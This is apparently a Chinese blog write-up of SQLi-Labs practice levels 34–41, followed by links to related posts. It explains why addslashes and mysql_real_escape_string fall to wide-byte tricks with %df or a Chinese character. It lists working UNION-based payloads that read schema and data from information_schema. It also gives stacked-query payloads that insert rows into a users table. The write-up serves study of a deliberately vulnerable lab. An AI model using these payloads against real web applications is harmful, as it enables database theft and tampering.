less 34 汉
addslashes() 函数返回在预定义的字符前添加反斜杠的字符串。
预定义字符是:
单引号(')
双引号(")
反斜杠(\)
NULL
提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备合适的字符串。
注释:默认情况下,PHP 指令 magic_quotes_gpc 为 on,对所有的 GET、POST 和 COOKIE 数据自动运行addslashes()。不要对已经被 magic_quotes_gpc 转义过的字符串使用addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数get_magic_quotes_gpc()进行检
第三十三关发现了眼熟的反斜杠,于是我们再次利用之前讲到的%df,发现并没有效果,这里其实是因为%df是url编码,在这里我们可以通过汉字的方式去绕,和%df类似,一些汉字的编码为一个三个字节的编码,当代替%df时,可以将三个字节拆开来看,前两个为一个组,后面那个和\相编码为一个两字节绕过,从而单引号逃逸
判断是否存在注入:汉' or 1=1 -- qwe 判断字段数:汉'order by 2-- qwe 判断显错位 :汉'union select 1,2 -- qwe 判断库名:汉'union select 1,database() -- qwe 判断表名:汉'union select 1,table_name from information_schema.tables where table_schema=database() -- qwe 判断列名:汉'union select 1,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x656d61696c73 -- qwe 判断数据:汉'union select 1,id from emails-- qwe
 
汉'union select 1,database() -- qwe
汉'union select 1,table_name from
information_schema.tables where table_schema=database() -- q
 
less 35
还是‘ 转义 但这个题单纯迷惑你 用不着’ 数字型注入
?id=1 and 1=1
?id=1 and 1=2
?id=1 order by 4--+
?id=-1 union select 1,database(),version()--+
?id=-1 union select 1,database(),group_concat(table_name)from information_schema.tables where table_schema=0x7365637572697479--+
 
less 36
这一题其实跟前面的题目是差不多的,发现我们输入的引号被转义掉了,我们还是可以利用以前的方法绕过,区别是他们源码中利用到的函数不同。
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。 下列字符受影响: \x00 \n \r \ ' " \x1a 如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
/?id=1%df' order by 4--+
?id=-1%df' union select 1,database(),version()--+
/?id=-1%df' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+
less 37
判断是否存在注入:汉' or 1=1 -- qwe 判断字段数:汉'order by 2-- qwe 判断显错位 :汉'union select 1,2 -- qwe 判断库名:汉'union select 1,database() -- qwe 判断表名:汉'union select 1,table_name from information_schema.tables where table_schema=database() -- qwe 判断列名:汉'union select 1,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x656d61696c73 -- qwe 判断数据:汉'union select 1,id from emails-- qwe
汉' union select 1,2--+
汉' union select database(),version()--+
汉'union select 1,table_name from
information_schema.tables where table_schema=database() -- qwe
汉'union select 1,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x656d61696c73 -- q
less 38 堆叠注入
三十八关其实就是单引号闭合,使用正常单引号闭合就可以进行注入,不过这里可以有另外一种注入就是堆叠注入,因为存在mysqli_multi_query函数,该函数支持多条sql语句同时进行。 堆叠注入等于是可以插入一条新的SQL语句,可以进行增删改查。(以前不能增删改查是因为以前的在select语句中。而堆叠注入是可以插入一条全新的SQL语句)
1
?id=1' and '1'='1 正常
?id=1' and '1'='2 不正常
?id=1' order by 4--+
?id=-1' union select 1,database(),version()--+
2
mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。需要注意的是:多条用分号分隔的SQL语句中,只要有一条SQL语句执行失败,那么这一条SQL语句以及之后的SQL语句就不会执行。
只有当第一条SQL语句执行失败,那么multi_query()的返回值才为false。如果第一条SQL语句执行成功了,那么都会返回true。
堆叠注入等于是可以插入一条新的SQL语句,可以进行增删改查。(以前不能增删改查是因为以前的在select语句中。而堆叠注入是可以插入一条全新的SQL语句
语法:mysqli_multi_query(connection,query);
/?id=1' ;insert into users(id,username,password) values ('36','36','hello')--+
less 39
和上面一样 不过是前面引号发生变化
?id=1
?id=1;insert into users(id,username,password) values ('66','66','hello')--+
 
less 40
和上面一样
可知 为堆叠注入 1')
?id=1');insert into users(id,username,password) values ('666','666','hahahahahaha')--+
 
less 41
和上面一样
可知 为堆叠注入 整数型
?id=1;insert into users(id,username,password) values ('88','hd','hahahahahaha......')--+
 
 

sql-labs less34--less41的更多相关文章

  1. SQL Labs刷题补坑记录(less31-less53)

    LESS31: 双引号直接报错,那么肯定可以报错注入,并且也过滤了一些东西,^异或没有过滤,异或真香 -1" and (if(length(database())=8,1,0)) and & ...

  2. SQL Labs刷题补坑记录(less1-less30)

    补坑加1,这几天快速刷一下sqllabs 来巩固下sql注入基础吧,也算是把很久以前没刷的过一遍,do it! 第一部分: LESS1: 直接报错,有回显的注入, http://localhost/s ...

  3. SQL Labs刷题补坑记录(less54-less65)

    LESS54: 只有10次尝试,dump处secret key 直接union 查就可以,括号为单引号闭合 LESS55: 尝试出来闭合的方式为)括号,后面操作与54相同 LESS56: 尝试出来括号 ...

  4. SQL注入系列:SQLi Labs

    前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...

  5. HANA SQL

    约束 注释 你可以给你的 SQL 语句添加注释来增加可读性和可维护性. SQL 语句中注释的分隔如下: l  双连字符“--”.所有在双连字符之后直到行尾的内容都被 SQL 解析器认为是注释. l  ...

  6. 搭建sql注入实验环境(基于windows)

    搭建服务器环境 1.下载xampp包 地址:http://www.apachefriends.org/zh_cn/xampp.html 很多人觉得安装服务器是件不容易的事,特别是要想添加MySql, ...

  7. Natas Wargame Level 16 Writeup(Content-based Blind SQL Injection)

    aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAqwAAADhCAYAAAANm+erAAAABHNCSVQICAgIfAhkiAAAIABJREFUeF

  8. Natas Wargame Level 15 Writeup(Content-based Blind SQL Injection)

    aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAq4AAACGCAYAAAAcnwh0AAAABHNCSVQICAgIfAhkiAAAIABJREFUeF

  9. SQLI LABS Stacked Part(38-53) WriteUp

    这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...

  10. SQLI LABS Advanced Part(23-37) WriteUp

    继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...

随机推荐

  1. 【Java学习Day06】注释种类、符号及用法

    注释种类 单行注释:只能注释一行文字 多行注释:可以注释一段文字 文档注释:用来生成说明文件 注释符号及用法 单行注释:// //后面写注释 多行注释:/**/ /* 我是注释 我是注释 我是注释 * ...

  2. 【笔记】小米路由器AX1800开启ipv6外部访问

    首先你的路由器要能获取ipv6地址 获取不到的光猫改桥接 路由器拨号 然后想办法开SSH ssh进路由器修改防火墙规则 ip6table的 建议先导出规则 ip6tables-save 在第120行插 ...

  3. clickhouse不喜欢sql末尾分号

    今天用python连clickhouse查数据,sql语句末尾加了分号,始终报错 Code: 62, e.displayText() = DB::Exception: Syntax error 删掉分 ...

  4. 对VC中有关数据类型转换的整理

    原文地址:http://spaces.msn.com/wsycqyz/blog/cns!F27CB74CE9ADA6E7!152.trak 对VC中有关数据类型转换的整理   说明:本文纯粹是总结一下 ...

  5. Reactor 模式线程模型

    根据Reactor的数据量和处理资源池线程数量,可以分为3钟典型实现 单Reactor单线程 单Reactor 多线程 主从Reactor 多线程

  6. fastadmin打包插件

    <?php namespace app\command; use think\console\Command; use think\console\Input; use think\consol ...

  7. STM32中HAL库和标准库的区别

    转载自:https://www.lmonkey.com/t/RwykY8bBX STM32标准库与HAL库比较 ST为开发者提供了非常方便的开发库.到目前为止,有标准外设库(STD库).HAL库.LL ...

  8. BFS板子题

    #include <iostream> #include <string> #include <queue> using namespace std; int n, ...

  9. css实现文字多余显示省略号

    只显示一行文字 overflow: hidden; text-overflow:ellipsis; white-space: nowrap; 显示多行文字 word-break:break-all; ...

  10. socket 客户端发送命令

    import socket import sys import os,time reload(sys) sys.setdefaultencoding('utf8') def send_cmd(comm ...